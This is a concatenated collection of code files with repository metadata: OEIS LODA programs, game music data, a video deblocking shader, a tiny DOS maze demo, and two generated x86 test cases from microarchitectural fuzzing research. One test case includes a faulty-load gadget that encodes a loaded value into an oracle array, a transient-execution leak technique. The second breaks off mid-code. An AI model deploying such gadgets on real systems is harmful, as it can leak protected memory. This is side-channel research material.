986,35133,35520,35668,36058,36450,36600,36995,37392,37544,37944,38097,38500
mov $2,$0
cal $0,73869 ; a(n) = Sum_{i=0..n} A002251(i)/(n+1).
mov $1,$0
sub $0,1
mul $1,$2
add $1,$0
add $1,1
| 133.363636
| 1,318
| 0.785276
|
4176a3e968d991a510f1b19c0572a368173fdb7d
| 1,456
|
asm
|
Assembly
|
source/mcsongb.asm
|
PaulSlocum/marble-craze
|
559c73c898d3a5e2d6548ae67f0f077b282372ab
|
[
"MIT"
] | 1
|
2020-12-12T21:23:31.000Z
|
2020-12-12T21:23:31.000Z
|
source/mcsongb.asm
|
PaulSlocum/marble-craze
|
559c73c898d3a5e2d6548ae67f0f077b282372ab
|
[
"MIT"
] | null | null | null |
source/mcsongb.asm
|
PaulSlocum/marble-craze
|
559c73c898d3a5e2d6548ae67f0f077b282372ab
|
[
"MIT"
] | null | null | null |
; drums
song1
; intro beat
byte 8, 8, 8, 10
byte 8, 8, 8, 10
; intro arp
byte 2,2,4,4
byte 2,2,4,4
; add drums
byte 8, 8, 8, 10
byte 8, 8, 8, 10
; add melody
byte 12, 12, 12, 10
byte 12, 12, 12, 10
byte 12, 12, 12, 10
byte 12, 12, 12, 10
; thicker arp
byte 26,26,4,4
byte 26,26,4,4
; 16th drums
byte 14, 14, 28, 28
byte 14, 14, 28, 28
byte 14, 14, 28, 28
byte 14, 14, 28, 28
; break down
byte 28, 28, 28, 28
byte 14, 14, 14, 14
byte 28, 28, 28, 28
byte 14, 14, 14, 14
; just drums
byte 14, 14, 14, 14
byte 28, 28, 28, 28
; bass thing
byte 14, 14, 14, 0
byte 28, 28, 28, 0
byte 14, 14, 14, 0
byte 28, 28, 28, 0
byte 14, 14, 14, 14
byte 28, 28, 28, 0
; byte 14, 14, 14, 14
; byte 28, 28, 28, 0
byte 255
; arp
song2
; intro beat
; byte 24,24,24,24
; byte 24,24,24,24
byte 0,0,0,0
byte 0,0,0,0
; intro arp
byte 2,2,4,4
byte 2,2,4,4
; add drums
byte 2,2,4,4
byte 2,2,4,4
; add melody
byte 20,20,22,22
byte 20,20,22,22
byte 6,6,4,4
byte 6,6,4,0
; thicker arp
byte 6,6,16,16
byte 6,6,16,16
; 16th beat
byte 20,20,22,22
byte 20,20,22,22
byte 6,6,22,22
byte 6,6,22,22
; break down
byte 12,12,12,10
byte 12,12,12,10
byte 18,18,18,10
byte 18,18,18,10
; just drums
byte 8,8,8,10
byte 8,8,8,10
; bass thing
byte 24,24,24,24
byte 24,24,24,24
byte 26,26,26,26
byte 26,26,26,26
byte 30,30,30,30
byte 30,30,30,30
; byte 30,30,30,30
; byte 30,30,30,30
byte 255
| 12.133333
| 21
| 0.589973
|
fb90cc9d7398095bae95eb7b34f425d728b8d5e7
| 443
|
asm
|
Assembly
|
programs/oeis/037/A037538.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/037/A037538.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/037/A037538.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A037538: Base 5 digits are, in order, the first n terms of the periodic sequence with initial period 1,2,1.
; 1,7,36,181,907,4536,22681,113407,567036,2835181,14175907,70879536,354397681,1771988407,8859942036,44299710181,221498550907,1107492754536,5537463772681,27687318863407,138436594317036,692182971585181
seq $0,33132 ; Base-5 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,0.
mul $0,6
div $0,5
| 63.285714
| 199
| 0.799097
|
94badd5b50f8af90c3d86ac9222dca403946d5e1
| 146
|
asm
|
Assembly
|
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_wind.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_wind.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_wind.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: zel_wind.asm
Type: file
Size: 33586
Last-Modified: '2016-05-13T04:36:32Z'
SHA-1: BDA7038446C4EDEEC3C84B21093C195B40AC65E8
Description: null
| 20.857143
| 47
| 0.815068
|
dad750e9badaee26a7f2b7f3cb13efd5577e0422
| 4,094
|
asm
|
Assembly
|
src/shaders/h264/ildb/load_Top_Y_16x4.asm
|
martin-kokos/intel-vaapi-driver
|
3ed3f6a783fdfff3fa1b567888518dcbda7eb2a3
|
[
"MIT"
] | 192
|
2018-01-26T11:51:55.000Z
|
2022-03-25T20:04:19.000Z
|
src/shaders/h264/ildb/load_Top_Y_16x4.asm
|
martin-kokos/intel-vaapi-driver
|
3ed3f6a783fdfff3fa1b567888518dcbda7eb2a3
|
[
"MIT"
] | 256
|
2017-01-23T02:10:27.000Z
|
2018-01-23T10:00:05.000Z
|
src/shaders/h264/ildb/load_Top_Y_16x4.asm
|
martin-kokos/intel-vaapi-driver
|
3ed3f6a783fdfff3fa1b567888518dcbda7eb2a3
|
[
"MIT"
] | 64
|
2018-01-30T19:51:53.000Z
|
2021-11-24T01:26:14.000Z
|
/*
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
// Module Name: Load_Y_16X4.asm
//
// Load Y 16X4 Block to PREV_MB_YD
//
//----------------------------------------------------------------
// Symbols Need To Be Defined Before Including This Module
//
// Source Region In :Ud
// Src_YD: Src_Yd Base=Rxx Elementsize=4 Srcregion=Region(8,1) Type=Ud // 3 Grfs (2 For Y, 1 For U+V)
//
// Source Region Is :Ub. The Same Region As :Ud Region
// Src_YB: Src_Yb Base=Rxx Elementsize=1 Srcregion=Region(16,1) Type=Ub // 2 Grfs
//
// Binding Table Index:
// Bi_Src_Y: Binding Table Index Of Y Surface
//
// Temp Buffer:
// Buf_D: Buf_D Base=Rxx Elementsize=4 Srcregion=Region(8,1) Type=Ud
// Buf_B: Buf_B Base=Rxx Elementsize=1 Srcregion=Region(16,1) Type=Ub
//
//----------------------------------------------------------------
#if defined(_DEBUG)
mov (1) EntrySignatureC:w 0xDDD2:w
#endif
#if defined(_PROGRESSIVE)
// Read Y
mov (2) MSGSRC.0<1>:ud ORIX_TOP<2;2,1>:w { NoDDClr } // Block origin
mov (1) MSGSRC.2<1>:ud 0x0003000F:ud { NoDDChk } // Block width and height (16x4)
mov (1) MSGDSC RESP_LEN(2)+DWBRMSGDSC_RC+BI_DEST_Y:ud // Read 2 GRFs from SRC_Y
#endif
#if defined(_FIELD)
// cmp.z.f0.0 (1) NULLREGW PicTypeC:w 0:w // Get pic type flag
and.nz.f0.1 (1) NULLREGW BitFields:w BotFieldFlag:w // Get bottom field flag
// they are used later in this file
mov (2) MSGSRC.0<1>:ud ORIX_TOP<2;2,1>:w { NoDDClr } // Block origin
mov (1) MSGSRC.2<1>:ud 0x0003000F:ud { NoDDChk } // Block width and height (16x4)
// Set message descriptor
// Frame picture
// (f0.0) mov (1) MSGDSC DWBRMSGDSC_RC+0x00020000+BI_DEST_Y:ud // Read 2 GRFs from SRC_Y
// (f0.0) jmpi load_Y_16x4
// Field picture
(f0.1) mov (1) MSGDSC RESP_LEN(2)+DWBRMSGDSC_RC_BF+BI_DEST_Y:ud // Read 2 GRFs from SRC_Y bottom field
(-f0.1) mov (1) MSGDSC RESP_LEN(2)+DWBRMSGDSC_RC_TF+BI_DEST_Y:ud // Read 2 GRFs from SRC_Y top field
//load_Y_16x4:
// Read 2 GRFs from DEST surface, as the above MB has been deblocked
// send (8) PREV_MB_YD(0)<1> MSGHDRY MSGSRC<8;8,1>:ud MSGDSC
#endif
send (8) TOP_MB_YD(0)<1> MSGHDRT MSGSRC<8;8,1>:ud DAPREAD MSGDSC
// End of load_Y_16x4.asm
| 40.534653
| 108
| 0.668539
|
8e5935c40806dd5e40163f5c5910a3ee6a8c0cbe
| 7,302
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_1417.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_1417.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_1417.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xbe7a, %rbp
nop
nop
nop
add $51130, %r8
mov $0x6162636465666768, %r13
movq %r13, %xmm5
movups %xmm5, (%rbp)
nop
nop
add $30545, %r14
lea addresses_normal_ht+0x14c7a, %rbx
nop
nop
nop
sub %rax, %rax
mov (%rbx), %di
nop
nop
nop
nop
nop
and $61421, %r13
lea addresses_A_ht+0x12a7a, %rax
clflush (%rax)
nop
nop
nop
nop
nop
cmp %r8, %r8
movl $0x61626364, (%rax)
nop
and %r8, %r8
lea addresses_D_ht+0x8c3a, %r8
nop
cmp $45223, %rbx
mov (%r8), %r14d
nop
nop
inc %rbp
lea addresses_WT_ht+0xb17a, %rsi
lea addresses_A_ht+0x126fa, %rdi
nop
nop
nop
xor $50612, %r13
mov $114, %rcx
rep movsq
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0xe212, %rbx
nop
nop
nop
nop
and %rdi, %rdi
movl $0x61626364, (%rbx)
nop
nop
add %rsi, %rsi
lea addresses_UC_ht+0xa2fa, %rsi
lea addresses_WC_ht+0x90da, %rdi
nop
cmp $1479, %rax
mov $69, %rcx
rep movsb
nop
nop
nop
add %rsi, %rsi
lea addresses_WC_ht+0x14b7a, %rcx
nop
xor $27245, %rdi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm5
vmovups %ymm5, (%rcx)
nop
nop
inc %r14
lea addresses_A_ht+0x29da, %rax
nop
nop
nop
nop
nop
inc %rdi
mov (%rax), %r14w
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_A_ht+0x1037a, %rbp
nop
nop
nop
and %rdi, %rdi
movups (%rbp), %xmm6
vpextrq $0, %xmm6, %r14
nop
sub $44980, %rdi
lea addresses_D_ht+0xd67a, %rsi
lea addresses_A_ht+0x135e, %rdi
nop
nop
nop
nop
nop
xor $19437, %r13
mov $46, %rcx
rep movsb
dec %rbp
lea addresses_WC_ht+0x173fa, %rcx
nop
nop
nop
nop
nop
cmp %rdi, %rdi
and $0xffffffffffffffc0, %rcx
movntdqa (%rcx), %xmm3
vpextrq $0, %xmm3, %r8
nop
nop
nop
nop
add $8686, %rbp
lea addresses_D_ht+0x2d5a, %r14
nop
nop
nop
nop
add $64836, %rbx
mov $0x6162636465666768, %r8
movq %r8, %xmm5
vmovups %ymm5, (%r14)
nop
and $42999, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r14
push %rax
push %rbp
// Faulty Load
lea addresses_US+0x9a7a, %r11
and $3500, %rax
movups (%r11), %xmm7
vpextrq $0, %xmm7, %r14
lea oracles, %r12
and $0xff, %r14
shlq $12, %r14
mov (%r12,%r14,1), %r14
pop %rbp
pop %rax
pop %r14
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': True, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}}
{'src': {'NT': True, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.28169
| 2,999
| 0.657902
|
5603742ed4567952ce55871db966c345b40ec1f8
| 4,043
|
asm
|
Assembly
|
mzesolvr.asm
|
ern0/256byte-mzesolvr
|
400a6c6ac528387912aa22187f308abc4562d06e
|
[
"MIT"
] | 12
|
2017-09-11T08:01:28.000Z
|
2021-12-15T12:39:29.000Z
|
mzesolvr.asm
|
ern0/256byte-mzesolvr
|
400a6c6ac528387912aa22187f308abc4562d06e
|
[
"MIT"
] | null | null | null |
mzesolvr.asm
|
ern0/256byte-mzesolvr
|
400a6c6ac528387912aa22187f308abc4562d06e
|
[
"MIT"
] | null | null | null |
; mzesolvr.asm - 2016.10.03 - ern0@linkbroker.hu
; Maze Solver
; 256 byte intro for MS-DOS (compiler: fasm)
;
; This is also not a 256b intro, just something
; that actually fits in 256 bytes
org 100H
;----------------------------------------------------------------------
; draw maze
mov ax,13H
int 10H
mov si,100H
mov bl,7
mov ah,0eH
.xbyte:
mov dl,[si]
mov cl,8
.xbit:
mov al,'/'
shr dl,1
jc .print
mov al,'\'
.print:
int 10H
loop .xbit
inc si
cmp si,(24*40 + 39)/8+100H
jne .xbyte
;----------------------------------------------------------------------
; Info
;
; There're some words on how the path selection works.
; The coordinate system is rotated by 45˚
;
; left up
; \ /
; (X)
; / \
; down right
;
; The next position of a dot is based on collision
; checking. The prg checks the four possible
; directions, stops on first success attempt:
; - attempt 1: keep the actual direction,
; - attempt 2-3: turn +/- 90˚ (relative right/left),
; - attempt 4: turn 180˚ (turn back).
;----------------------------------------------------------------------
; Constants
; Offsets for checking collision (base is the upper
; left corner of the 2x2 dot)
;
CUP equ -320*1 +3
CDN equ +320*3 -1
CLT equ -320*1 -1
CRT equ +320*3 +3
; Values for directions
;
DUP equ -320 +1
DDN equ +320 -1
DLT equ -320 -1
DRT equ +320 +1
; Field offsets
;
COLL equ 0
DIR equ (2 + COLL)
TAB equ (2 + DIR)
ITEMLEN equ (2 + TAB)
; Table index offsets for attempts
;
AT1 equ (0 * ITEMLEN)
AT2 equ (1 * ITEMLEN)
AT3 equ (3 * ITEMLEN)
AT4 equ (6 * ITEMLEN)
;----------------------------------------------------------------------
; Preparing
mov ax,0a000H
lea di,[snakedata]
mov ch,3
rep stosw
mov es,ax
nextround:
;----------------------------------------------------------------------
; Choose direction
;
; BP: Current dot position (screen offset)
; BX: Starts as pointer to current t_lt/t_up/t_rt/t_dn
; increased by AT1/AT2/AT3/AT4 on attempts
; [COLL+BX] points to a collision offset (CLT, ...)
; [DIR+BX] points to a direction offset (DRT, ...)
; DI: Used for accessing the screen (with ES)
mov bp,[dotposition]
mov bx,[dottableptr]
mov di,[COLL + bx]
add di,bp
cmp byte [es:di],0
jz .found
add bx,(AT2 - AT1)
mov di,[COLL + bx]
add di,bp
cmp byte [es:di],0
jz .found
add bx,(AT3 - AT2)
mov di,[COLL + bx]
add di,bp
cmp byte [es:di],0
jz .found
add bx,(AT4 - AT3)
.found:
; store new table position
mov di,[TAB + bx]
mov [dottableptr],di
; calc new position
mov di,[dotposition]
add di,[DIR + bx]
mov [dotposition],di
mov bx,[snakeptr]
mov [bx + snakedata],di
inc bx
inc bx
mov bh,0
mov [snakeptr],bx
mov al,bl
shr al,2
add al,20H
call plot
add bl,2
mov bh,0
mov di,[bx + snakedata]
mov al,0
call plot
;----------------------------------------------------------------------
mov cl,2
vb:
mov dx,3daH
in al,dx
test al,8
jz vb
wb:
in al,dx
test al,8
jnz wb
loop vb
in al,60H
cmp al,1
jne nextround
qapp:
retn
;----------------------------------------------------------------------
; Plot
plot:
mov ah,al
mov cl,3
.xpixlin:
stosw
stosb
add di,320-3
loop .xpixlin
retn
;----------------------------------------------------------------------
; Tables for collision check and path selection
; Usage: check elems at index 0, 1, 3, 6
; (see ATx constants)
;
; left up right down
t_lt: dw CLT,DLT,t_lt ; X
t_up: dw CUP,DUP,t_up ; X X
t_rt: dw CRT,DRT,t_rt ; - X X
t_dn: dw CDN,DDN,t_dn ; X - X X
dw CLT,DLT,t_lt ; - X - X
dw CUP,DUP,t_up ; - - X -
dw CRT,DRT,t_rt ; X - - X
dw CDN,DDN,t_dn ; X - -
dw CLT,DLT,t_lt ; X -
dw CUP,DUP,t_up ; X
;----------------------------------------------------------------------
; Dot data
dottableptr:
dw t_up
snakeptr:
dw snakedata
dotposition:
dw 320* 196 + 132
snakedata:
;include "dump.asm"
| 18.130045
| 71
| 0.512985
|
b95792f139560e8a0d248dd81d4ff8f18cee01bd
| 2,138
|
asm
|
Assembly
|
runtime/divide.asm
|
paulscottrobson/amoral
|
09186f2476bd1e8acfc59ba9efbf04e1126567e9
|
[
"MIT"
] | 3
|
2020-11-19T18:31:11.000Z
|
2020-11-23T17:59:53.000Z
|
runtime/divide.asm
|
paulscottrobson/amoral
|
09186f2476bd1e8acfc59ba9efbf04e1126567e9
|
[
"MIT"
] | null | null | null |
runtime/divide.asm
|
paulscottrobson/amoral
|
09186f2476bd1e8acfc59ba9efbf04e1126567e9
|
[
"MIT"
] | 1
|
2021-05-14T07:49:05.000Z
|
2021-05-14T07:49:05.000Z
|
; *******************************************************************************************
; *******************************************************************************************
;
; File: divide.asm
; Date: 14th November 2020
; Purpose: Divide and Modulus code
; Author: Paul Robson (paul@robson.org.uk)
;
; *******************************************************************************************
; *******************************************************************************************
; *******************************************************************************************
;
; Handles Divide
;
; *******************************************************************************************
DivideHandler: ;; DIV $87
jsr EvaluateValue ; temp0 = target value.
lda Reg16 ; temp1 = reg16
sta temp1
lda Reg16+1
sta temp1+1
jsr Divide ; temp1 := temp1 / temp0
lda temp1 ; copy result into register
sta Reg16
lda temp1+1
sta Reg16+1
jmp ExecLoop
ModulusHandler: ;; MOD $88
jsr EvaluateValue ; temp0 = target value.
lda Reg16 ; temp1 = reg16
sta temp1
lda Reg16+1
sta temp1+1
jsr Divide ; temp1 := temp1 / temp0, mod => Reg16
jmp ExecLoop
; *******************************************************************************************
;
; temp1 := temp1 / temp0, mod in Reg16
;
; *******************************************************************************************
;
; temp1 = Q temp0 = M Reg16 = A
;
Divide:
lda #0 ; set A = 0
sta Reg16
sta Reg16+1
ldy #16 ; loop round 16 times.
_DivLoop:
asl temp1 ; shift QA left. Q first
rol temp1+1
;
rol Reg16 ; shift A left carrying in.
rol Reg16+1
;
sec ; calculate A-M, result in XA/C
lda Reg16
sbc temp0
tax
lda Reg16+1
sbc temp0+1
bcc _DivNoUpdate ; if A >= M then store result and set Q bit 0.
;
sta Reg16+1
stx Reg16
inc temp1 ; we know it is even.
;
_DivNoUpdate:
dey
bne _DivLoop
rts
| 27.766234
| 93
| 0.363424
|
084f8b98f8997b9098069b84c46216d35f39e2c6
| 7,428
|
asm
|
Assembly
|
Transynther/x86/_processed/P/_zr_/i9-9900K_12_0xa0_notsx.log_9561_1450.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/P/_zr_/i9-9900K_12_0xa0_notsx.log_9561_1450.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/P/_zr_/i9-9900K_12_0xa0_notsx.log_9561_1450.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x98b5, %rsi
lea addresses_D_ht+0x2950, %rdi
clflush (%rdi)
nop
and $5377, %r9
mov $33, %rcx
rep movsb
nop
nop
nop
nop
add %r12, %r12
lea addresses_WC_ht+0x11a68, %r15
and %rcx, %rcx
mov (%r15), %rdi
nop
nop
nop
dec %r9
lea addresses_A_ht+0x63f2, %r9
nop
nop
nop
cmp %r14, %r14
mov (%r9), %esi
inc %r14
lea addresses_WT_ht+0x8108, %r14
nop
nop
nop
nop
nop
inc %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm1
vmovups %ymm1, (%r14)
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x1ed58, %r15
and $3203, %rdi
mov $0x6162636465666768, %r14
movq %r14, %xmm7
vmovups %ymm7, (%r15)
dec %r12
lea addresses_WT_ht+0x31d2, %rcx
nop
nop
nop
nop
add $300, %r15
mov (%rcx), %r9
nop
nop
nop
nop
nop
xor $8097, %rsi
lea addresses_D_ht+0x8532, %rdi
nop
nop
nop
nop
nop
xor $19790, %r12
movb (%rdi), %r9b
nop
nop
cmp %r14, %r14
lea addresses_normal_ht+0x333e, %r12
nop
nop
nop
nop
cmp $63905, %rcx
mov (%r12), %rdi
nop
cmp $7497, %rsi
lea addresses_UC_ht+0x5f88, %r9
nop
nop
nop
dec %rdi
movb (%r9), %r12b
nop
nop
xor $43705, %r12
lea addresses_D_ht+0x199a4, %r9
nop
dec %r12
movw $0x6162, (%r9)
nop
nop
nop
nop
dec %rsi
lea addresses_UC_ht+0xb78, %rdi
clflush (%rdi)
nop
nop
nop
nop
add $58913, %r9
vmovups (%rdi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %rsi
nop
nop
inc %rcx
lea addresses_normal_ht+0x1ba88, %rsi
